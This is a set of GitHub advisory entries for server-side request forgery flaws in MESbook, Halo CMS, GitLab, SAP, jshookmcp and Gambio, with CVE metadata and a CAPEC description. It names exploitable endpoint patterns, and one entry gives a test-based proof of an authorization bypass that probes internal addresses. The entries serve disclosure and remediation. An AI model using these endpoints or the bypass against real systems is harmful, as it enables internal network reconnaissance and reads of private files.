Vulnerability from github – Published: 2024-07-01 15:32 – Updated: 2024-07-01 15:32External server-side request vulnerability in MESbook 20221021.03 version, which could allow a remote, unauthenticated attacker to exploit the endpoint "/api/Proxy/Post?userName=&password=&uri=<FILE|INTERNAL URL|IP/HOST" or "/api/Proxy/Get?userName=&password=&uri=<ARCHIVO|URL INTERNA|IP/HOST" to read the source code of web files, read internal files or access network resources.
{
"affected": [],
"aliases": [
"CVE-2024-6424"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-01T13:15:06Z",
"severity": "CRITICAL"
},
"details": "External server-side request vulnerability in MESbook 20221021.03 version, which could allow a remote, unauthenticated attacker to exploit the endpoint \"/api/Proxy/Post?userName=\u0026password=\u0026uri=\u003cFILE|INTERNAL URL|IP/HOST\" or \"/api/Proxy/Get?userName=\u0026password=\u0026uri=\u003cARCHIVO|URL INTERNA|IP/HOST\" to read the source code of web files, read internal files or access network resources.",
"id": "GHSA-c5g4-5pgj-3vxf",
"modified": "2024-07-01T15:32:33Z",
"published": "2024-07-01T15:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6424"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-mesbook"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C5JC-GCGX-FP5C
Vulnerability from github – Published: 2025-10-29 18:30 – Updated: 2025-10-29 18:30An unauthenticated server-side request forgery (SSRF) vulnerability in the Thumbnail via-uri endpoint of Halo CMS 2.21 allows a remote attacker to cause the server to issue HTTP requests to attacker-controlled URLs, including internal addresses. The endpoint performs a server-side GET to a user-supplied URI without adequate allow/blocklist validation and returns a 307 redirect that can disclose internal URLs in the Location header.
{
"affected": [],
"aliases": [
"CVE-2025-60898"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-29T16:15:34Z",
"severity": "MODERATE"
},
"details": "An unauthenticated server-side request forgery (SSRF) vulnerability in the Thumbnail via-uri endpoint of Halo CMS 2.21 allows a remote attacker to cause the server to issue HTTP requests to attacker-controlled URLs, including internal addresses. The endpoint performs a server-side GET to a user-supplied URI without adequate allow/blocklist validation and returns a 307 redirect that can disclose internal URLs in the Location header.",
"id": "GHSA-c5jc-gcgx-fp5c",
"modified": "2025-10-29T18:30:33Z",
"published": "2025-10-29T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60898"
},
{
"type": "WEB",
"url": "https://github.com/abdulr7mann/CVEs/blob/main/CVE-2025-60898/CVE-2025-60898.md"
},
{
"type": "WEB",
"url": "http://halo.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C5P3-3427-5GQC
Vulnerability from github – Published: 2022-05-14 01:36 – Updated: 2022-05-14 01:36The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4.4 has SSRF.
{
"affected": [],
"aliases": [
"CVE-2018-18843"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-04T23:29:00Z",
"severity": "CRITICAL"
},
"details": "The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4.4 has SSRF.",
"id": "GHSA-c5p3-3427-5gqc",
"modified": "2022-05-14T01:36:59Z",
"published": "2022-05-14T01:36:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18843"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/2018/11/01/critical-security-release-gitlab-11-dot-4-dot-4-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/53158"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C5R3-M97H-6M7R
Vulnerability from github – Published: 2024-07-09 06:30 – Updated: 2024-07-09 06:30SAP Transportation Management (Collaboration Portal) allows an attacker with non-administrative privileges to send a crafted request from a vulnerable web application. This will trigger the application handler to send a request to an unintended service, which may reveal information about that service. The information obtained could be used to target internal systems behind firewalls that are normally inaccessible to an attacker from the external network, resulting in a Server-Side Request Forgery vulnerability. There is no effect on integrity or availability of the application.
{
"affected": [],
"aliases": [
"CVE-2024-37171"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T05:15:11Z",
"severity": "MODERATE"
},
"details": "SAP Transportation Management (Collaboration\nPortal) allows an attacker with non-administrative privileges to send a crafted\nrequest from a vulnerable web application. This will trigger the application\nhandler to send a request to an unintended service, which may reveal\ninformation about that service. The information obtained could be used to\ntarget internal systems behind firewalls that are normally inaccessible to an\nattacker from the external network, resulting in a Server-Side Request Forgery\nvulnerability. There is no effect on integrity or availability of the\napplication.",
"id": "GHSA-c5r3-m97h-6m7r",
"modified": "2024-07-09T06:30:40Z",
"published": "2024-07-09T06:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37171"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3469958"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C5R6-M4MR-8Q5J
Vulnerability from github – Published: 2026-07-01 18:14 – Updated: 2026-07-01 18:14Summary
The network domain has a central SSRF authorization policy that blocks private, loopback, link-local, and reserved targets unless an explicit authorization object allows private network access. The policy is enforced by raw HTTP/TCP/TLS RTT tools, but the ICMP probe and traceroute tools resolve the target and invoke the native ICMP/traceroute sink directly.
An MCP client with access to an active network domain can therefore ask the jshookmcp server to probe internal addresses such as 10.0.0.1 even when local SSRF access is disabled for the other raw network tools. This exposes an internal reachability and route mapping primitive from the server network position.
Affected code
Current main https://github.com/vmoranv/jshookmcp/commit/d309c395738638e384c28c0f599b47b2213ab595 and npm package @jshookmcp/jshook 0.3.1 both contain the issue.
- src/server/domains/network/handlers/raw-latency-handlers.ts:61-66: network_rtt_measure parses optional authorization and calls resolveAuthorizedTransportTarget before probing.
- src/server/domains/network/handlers/raw-latency-handlers.ts:185-190: network_latency_stats uses the same authorization guard.
- src/server/domains/network/handlers/raw-latency-handlers.ts:123-139: network_traceroute resolves target with resolveHostname and calls traceroute without an authorization policy check.
- src/server/domains/network/handlers/raw-latency-handlers.ts:240-257: network_icmp_probe resolves target with resolveHostname and calls icmpProbe without an authorization policy check.
- src/server/domains/network/handlers/raw-latency-handlers.ts:408-416: resolveHostname returns IPv4 literals directly and otherwise performs DNS A lookup without checking private, loopback, link-local, or reserved ranges.
- src/utils/network/ssrf-policy.ts:244-316: the central policy blocks private targets unless explicit authorization or ALLOW_LOCAL_SSRF=true is set.
Reproduction
Used a focused regression test against the real handleCallTool and RawHandlers call path with fake native ICMP and policy sinks. The test does not send external traffic. It proves the denied control and the bypass through the same MCP meta-tool dispatch path.
Test file path in my local checkout:
tests/server/security/jshookmcp-network-meta-boundary.test.ts
Relevant test body:
it('denied control: RTT path consults the SSRF authorization guard for private targets', async () => {
const handler = new RawHandlers();
state.resolveAuthorizedTransportTarget.mockRejectedValue(new Error('RTT measurement blocked: target resolves to a private or reserved address.'));
await expect(handler.handleNetworkRttMeasure({ url: 'https://10.0.0.1/', probeType: 'tcp' })).rejects.toThrow(/blocked/);
expect(state.resolveAuthorizedTransportTarget).toHaveBeenCalled();
expect(state.icmpProbe).not.toHaveBeenCalled();
});
it('bypass proof: call_tool can drive network_icmp_probe to a private IP without the SSRF authorization guard', async () => {
const raw = new RawHandlers();
const ctx = {
router: { has: vi.fn((name: string) => name === 'network_icmp_probe') },
executeToolWithTracking: vi.fn((name: string, args: Record<string, unknown>) => raw.handleNetworkIcmpProbe(args)),
} as any;
const response = await handleCallTool(ctx, { name: 'network_icmp_probe', args: { target: '10.0.0.1', ttl: 64 } });
const body = JSON.parse(response.content[0].text);
expect(body.success).toBe(true);
expect(ctx.router.has).toHaveBeenCalledWith('network_icmp_probe');
expect(ctx.executeToolWithTracking).toHaveBeenCalledWith('network_icmp_probe', { target: '10.0.0.1', ttl: 64 });
expect(state.resolveAuthorizedTransportTarget).not.toHaveBeenCalled();
expect(state.icmpProbe).toHaveBeenCalledWith(expect.objectContaining({ target: '10.0.0.1', ttl: 64 }));
});
Command run:
corepack pnpm exec vitest run --config vitest.config.ts tests/server/security/jshookmcp-network-meta-boundary.test.ts --reporter=verbose
Result:
Test Files 1 passed (1)
Tests 4 passed (4)
The observed vulnerable call sequence is:
call_tool(name=network_icmp_probe, args={target: 10.0.0.1, ttl: 64})
-> ctx.router.has(network_icmp_probe) == true
-> ctx.executeToolWithTracking(network_icmp_probe, validatedArgs)
-> RawHandlers.handleNetworkIcmpProbe(validatedArgs)
-> resolveHostname(10.0.0.1) returns 10.0.0.1
-> icmpProbe({ target: 10.0.0.1, ttl: 64, ... })
resolveAuthorizedTransportTarget is not called on this path. The same missing policy pattern exists for network_traceroute.
Impact
An MCP client with access to the active network domain can use the server as a backend-origin internal network probing oracle. The result can reveal whether internal hosts respond, approximate latency, traceroute hops, and ICMP error classes from the server network position.
The practical impact is strongest when jshookmcp is exposed over Streamable HTTP or another remote transport, multiple clients share one server, or the server runs on Windows or with raw socket capability. This is not code execution and does not by itself exfiltrate response bodies.
Remediation
Apply the same authorization model used by network_rtt_measure and network_latency_stats to network_icmp_probe and network_traceroute. In particular, accept an optional authorization object, resolve the target through the central policy helper or an equivalent host-only policy helper, block private and reserved ranges by default, and pass only the policy-approved resolved address to the native probe. Add regression tests for default-denied private targets, authorized private CIDR access, private hostnames, and call_tool dispatch.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@jshookmcp/jshook"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.1"
},
{
"fixed": "0.3.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.3.1"
]
}
],
"aliases": [
"CVE-2026-49856"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-01T18:14:57Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe network domain has a central SSRF authorization policy that blocks private, loopback, link-local, and reserved targets unless an explicit authorization object allows private network access. The policy is enforced by raw HTTP/TCP/TLS RTT tools, but the ICMP probe and traceroute tools resolve the target and invoke the native ICMP/traceroute sink directly.\n\nAn MCP client with access to an active network domain can therefore ask the jshookmcp server to probe internal addresses such as 10.0.0.1 even when local SSRF access is disabled for the other raw network tools. This exposes an internal reachability and route mapping primitive from the server network position.\n\n## Affected code\n\nCurrent main https://github.com/vmoranv/jshookmcp/commit/d309c395738638e384c28c0f599b47b2213ab595 and npm package @jshookmcp/jshook 0.3.1 both contain the issue.\n\n- src/server/domains/network/handlers/raw-latency-handlers.ts:61-66: network_rtt_measure parses optional authorization and calls resolveAuthorizedTransportTarget before probing.\n- src/server/domains/network/handlers/raw-latency-handlers.ts:185-190: network_latency_stats uses the same authorization guard.\n- src/server/domains/network/handlers/raw-latency-handlers.ts:123-139: network_traceroute resolves target with resolveHostname and calls traceroute without an authorization policy check.\n- src/server/domains/network/handlers/raw-latency-handlers.ts:240-257: network_icmp_probe resolves target with resolveHostname and calls icmpProbe without an authorization policy check.\n- src/server/domains/network/handlers/raw-latency-handlers.ts:408-416: resolveHostname returns IPv4 literals directly and otherwise performs DNS A lookup without checking private, loopback, link-local, or reserved ranges.\n- src/utils/network/ssrf-policy.ts:244-316: the central policy blocks private targets unless explicit authorization or ALLOW_LOCAL_SSRF=true is set.\n\n## Reproduction\n\nUsed a focused regression test against the real handleCallTool and RawHandlers call path with fake native ICMP and policy sinks. The test does not send external traffic. It proves the denied control and the bypass through the same MCP meta-tool dispatch path.\n\nTest file path in my local checkout:\n\n```text\ntests/server/security/jshookmcp-network-meta-boundary.test.ts\n```\n\nRelevant test body:\n\n```ts\nit(\u0027denied control: RTT path consults the SSRF authorization guard for private targets\u0027, async () =\u003e {\n const handler = new RawHandlers();\n state.resolveAuthorizedTransportTarget.mockRejectedValue(new Error(\u0027RTT measurement blocked: target resolves to a private or reserved address.\u0027));\n await expect(handler.handleNetworkRttMeasure({ url: \u0027https://10.0.0.1/\u0027, probeType: \u0027tcp\u0027 })).rejects.toThrow(/blocked/);\n expect(state.resolveAuthorizedTransportTarget).toHaveBeenCalled();\n expect(state.icmpProbe).not.toHaveBeenCalled();\n});\n\nit(\u0027bypass proof: call_tool can drive network_icmp_probe to a private IP without the SSRF authorization guard\u0027, async () =\u003e {\n const raw = new RawHandlers();\n const ctx = {\n router: { has: vi.fn((name: string) =\u003e name === \u0027network_icmp_probe\u0027) },\n executeToolWithTracking: vi.fn((name: string, args: Record\u003cstring, unknown\u003e) =\u003e raw.handleNetworkIcmpProbe(args)),\n } as any;\n\n const response = await handleCallTool(ctx, { name: \u0027network_icmp_probe\u0027, args: { target: \u002710.0.0.1\u0027, ttl: 64 } });\n const body = JSON.parse(response.content[0].text);\n\n expect(body.success).toBe(true);\n expect(ctx.router.has).toHaveBeenCalledWith(\u0027network_icmp_probe\u0027);\n expect(ctx.executeToolWithTracking).toHaveBeenCalledWith(\u0027network_icmp_probe\u0027, { target: \u002710.0.0.1\u0027, ttl: 64 });\n expect(state.resolveAuthorizedTransportTarget).not.toHaveBeenCalled();\n expect(state.icmpProbe).toHaveBeenCalledWith(expect.objectContaining({ target: \u002710.0.0.1\u0027, ttl: 64 }));\n});\n```\n\nCommand run:\n\n```bash\ncorepack pnpm exec vitest run --config vitest.config.ts tests/server/security/jshookmcp-network-meta-boundary.test.ts --reporter=verbose\n```\n\nResult:\n\n```text\nTest Files 1 passed (1)\nTests 4 passed (4)\n```\n\nThe observed vulnerable call sequence is:\n\n```text\ncall_tool(name=network_icmp_probe, args={target: 10.0.0.1, ttl: 64})\n -\u003e ctx.router.has(network_icmp_probe) == true\n -\u003e ctx.executeToolWithTracking(network_icmp_probe, validatedArgs)\n -\u003e RawHandlers.handleNetworkIcmpProbe(validatedArgs)\n -\u003e resolveHostname(10.0.0.1) returns 10.0.0.1\n -\u003e icmpProbe({ target: 10.0.0.1, ttl: 64, ... })\n```\n\nresolveAuthorizedTransportTarget is not called on this path. The same missing policy pattern exists for network_traceroute.\n\n## Impact\n\nAn MCP client with access to the active network domain can use the server as a backend-origin internal network probing oracle. The result can reveal whether internal hosts respond, approximate latency, traceroute hops, and ICMP error classes from the server network position.\n\nThe practical impact is strongest when jshookmcp is exposed over Streamable HTTP or another remote transport, multiple clients share one server, or the server runs on Windows or with raw socket capability. This is not code execution and does not by itself exfiltrate response bodies.\n\n## Remediation\n\nApply the same authorization model used by network_rtt_measure and network_latency_stats to network_icmp_probe and network_traceroute. In particular, accept an optional authorization object, resolve the target through the central policy helper or an equivalent host-only policy helper, block private and reserved ranges by default, and pass only the policy-approved resolved address to the native probe. Add regression tests for default-denied private targets, authorized private CIDR access, private hostnames, and call_tool dispatch.",
"id": "GHSA-c5r6-m4mr-8q5j",
"modified": "2026-07-01T18:14:57Z",
"published": "2026-07-01T18:14:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vmoranv/jshookmcp/security/advisories/GHSA-c5r6-m4mr-8q5j"
},
{
"type": "PACKAGE",
"url": "https://github.com/vmoranv/jshookmcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@jshookmcp/jshook: ICMP probe and traceroute skip local-network SSRF authorization"
}
GHSA-C5VV-2CVX-X67J
Vulnerability from github – Published: 2024-02-13 00:30 – Updated: 2024-02-15 06:31Server Side Template Injection in Gambio 4.9.2.0 allows attackers to run arbitrary code via crafted smarty email template.
{
"affected": [],
"aliases": [
"CVE-2024-23761"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-12T22:15:08Z",
"severity": "CRITICAL"
},
"details": "Server Side Template Injection in Gambio 4.9.2.0 allows attackers to run arbitrary code via crafted smarty email template.",
"id": "GHSA-c5vv-2cvx-x67j",
"modified": "2024-02-15T06:31:35Z",
"published": "2024-02-13T00:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23761"
},
{
"type": "WEB",
"url": "https://herolab.usd.de/security-advisories/usd-2023-0048"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.